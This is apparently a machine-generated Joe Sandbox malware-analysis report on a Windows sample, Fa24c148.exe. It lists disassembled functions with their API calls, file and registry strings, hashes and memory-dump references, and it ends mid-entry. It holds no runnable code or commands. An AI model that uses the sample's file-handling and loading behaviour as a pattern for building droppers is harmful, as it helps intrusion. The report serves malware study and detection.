CloseClipboard.USER32 ref: 004054E5

Strings

{, xrefs: 004053C8

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: da6ea4901efb283be28e634786642a951ca9a14736cadbfe75f68e92e901532f
Instruction ID: 0991f248181b02e880a99382a637b1aa596eb82eb2a2f586ae382473c4d6dcb0
Opcode Fuzzy Hash: da6ea4901efb283be28e634786642a951ca9a14736cadbfe75f68e92e901532f
Instruction Fuzzy Hash: 9CB15970900209FFEB219F60DD89AAE7B79FB04355F00807AFA01BA1A0C7755E52DF69

Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,?,00405058,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,00000000,0040FE48), ref: 00405E5C
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00405EDA
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00405EED
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405F29
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00405F37
CoTaskMemFree.OLE32(?), ref: 00405F42
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F66
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,?,00405058,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,00000000,0040FE48), ref: 00405FC0

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F60
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405EA8
Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll, xrefs: 00405DBE
Call, xrefs: 00405DC3, 00405EA3, 00405EC4, 00405ED9, 00405EEC, 00405F08, 00405F33, 00405F65, 00405F6B, 00405F85, 00405F99, 00405FB9, 00405FBF, 00405FCB, 00405FFE

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1836753517
Opcode ID: bb187ed8235d5e602cac5fb493e7f0f28f0e0d380d5fcb884fe186b1f5943fdc
Instruction ID: 8be6bcb63ccaebc5f1bc3563bf1d434f80ac3f189a087fad5798c32c49afab67
Opcode Fuzzy Hash: bb187ed8235d5e602cac5fb493e7f0f28f0e0d380d5fcb884fe186b1f5943fdc
Instruction Fuzzy Hash: 3661D271A00906ABEF209F25CC44AAF37A5EF54314F10813BE955BA2D0D73D5A81CF9E

Function 004055FF Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 00405628
lstrcatW.KERNEL32(dannebrogsordnen\gypseian.tof,\*.*,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 00405670
lstrcatW.KERNEL32(?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 00405693
lstrlenW.KERNEL32(?,?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 00405699
FindFirstFileW.KERNELBASE(dannebrogsordnen\gypseian.tof,?,?,?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 004056A9
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405749
FindClose.KERNEL32(00000000), ref: 00405758

Strings

"C:\Users\user\Desktop\Fa24c148.exe", xrefs: 00405608
\*.*, xrefs: 0040566A
dannebrogsordnen\gypseian.tof, xrefs: 00405658, 0040565E, 0040566F, 004056A8
C:\Users\user\AppData\Local\Temp\, xrefs: 0040560D

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Fa24c148.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$dannebrogsordnen\gypseian.tof
API String ID: 2035342205-1195280149
Opcode ID: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction ID: b79195ecc2de65d8d99f91511e5e2c7060301b719c54f9eae921112220d3ef15
Opcode Fuzzy Hash: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction Fuzzy Hash: 2C41CF30901A14F6DB216B618C89EAF7678EF45724F60457BF804721D1D77C89C1EE6E

Function 004060BA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004256E8,C:\,00405913,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 004060C5
FindClose.KERNEL32(00000000), ref: 004060D1

Strings

VB, xrefs: 004060BB
C:\, xrefs: 004060BA

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\$VB
API String ID: 2295610775-997398997
Opcode ID: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction ID: f9ddfc5d4f3467e36225d2e4908305aa5d63d15eb4a774a72597514f161c5606
Opcode Fuzzy Hash: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction Fuzzy Hash: 95D012719890309BC2105B386D0C84B7A589F153317528F73F42AF23E0C7388C6596AD

Function 004063CC Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction ID: 3bb9d82cab8560ee02f1719a45e7f61305cf8b7accb1ce145186acec9c03a25a
Opcode Fuzzy Hash: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction Fuzzy Hash: B6F17870D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Function 004060E1 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction ID: aca730e0da059772988c79adabdc3e9a20cb86bb5b3cd76b20d24f00bd9ffcf2
Opcode Fuzzy Hash: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction Fuzzy Hash: 25E0CD32A081205BD7114B20AD4896773AC9FDD6413050439F905FA181D7B4BC11DFA9

Function 00403741 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

lstrcatW.KERNEL32(1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 004037C2
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 00403842
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000), ref: 00403855
GetFileAttributesW.KERNEL32(Call), ref: 00403860
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer), ref: 004038A9

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

RegisterClassW.USER32(00428140), ref: 004038E6
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004038FE
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403933
ShowWindow.USER32(00000005,00000000), ref: 00403969
LoadLibraryW.KERNELBASE(RichEd20), ref: 0040397A
LoadLibraryW.KERNEL32(RichEd32), ref: 00403985
GetClassInfoW.USER32(00000000,RichEdit20W,00428140), ref: 00403995
GetClassInfoW.USER32(00000000,RichEdit,00428140), ref: 004039A2
RegisterClassW.USER32(00428140), ref: 004039AB
DialogBoxParamW.USER32(?,00000000,00403AE4,00000000), ref: 004039CA

Strings

RichEdit, xrefs: 0040399C
RichEd32, xrefs: 00403980
RichEdit20W, xrefs: 0040398D, 00403993
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 004037D1, 004037D9, 0040387C, 00403882, 00403892
1033, xrefs: 00403761, 004037BD
.DEFAULT\Control Panel\International, xrefs: 004037AD
"C:\Users\user\Desktop\Fa24c148.exe", xrefs: 00403744
RichEd20, xrefs: 00403975
_Nb, xrefs: 004038C5, 0040392D
.exe, xrefs: 0040384F
Call, xrefs: 00403809, 00403812, 00403820, 0040386F, 00403875
C:\Users\user\AppData\Local\Temp\, xrefs: 0040374D
Control Panel\Desktop\ResourceLocale, xrefs: 00403775

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Fa24c148.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-2771000481
Opcode ID: ac3d5c1165921db0f3dc03f3453a2ea74269edb9cc618bb3ebb87fcdaaa4c481
Instruction ID: afa308160dea80a5d8dcbd85ebd8b3f8f2b3ac55536d549029ec0fdf087277f4
Opcode Fuzzy Hash: ac3d5c1165921db0f3dc03f3453a2ea74269edb9cc618bb3ebb87fcdaaa4c481
Instruction Fuzzy Hash: 5D61C471644300BAE720AF269C4AF3B3A6CEB45745F80447FF940B62E1DB799D12CA2D

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B20
ShowWindow.USER32(?), ref: 00403B3D
DestroyWindow.USER32 ref: 00403B51
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403B6D
GetDlgItem.USER32(?,?), ref: 00403B8E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403BA2
IsWindowEnabled.USER32(00000000), ref: 00403BA9
GetDlgItem.USER32(?,00000001), ref: 00403C57
GetDlgItem.USER32(?,00000002), ref: 00403C61
SetClassLongW.USER32(?,000000F2,?), ref: 00403C7B
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403CCC
GetDlgItem.USER32(?,00000003), ref: 00403D72
ShowWindow.USER32(00000000,?), ref: 00403D93
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403DA5
EnableWindow.USER32(?,?), ref: 00403DC0
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DD6
EnableMenuItem.USER32(00000000), ref: 00403DDD
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403DF5
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403E08
lstrlenW.KERNEL32(00422698,?,00422698,004281A0), ref: 00403E31
SetWindowTextW.USER32(?,00422698), ref: 00403E45
ShowWindow.USER32(?,0000000A), ref: 00403F79

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
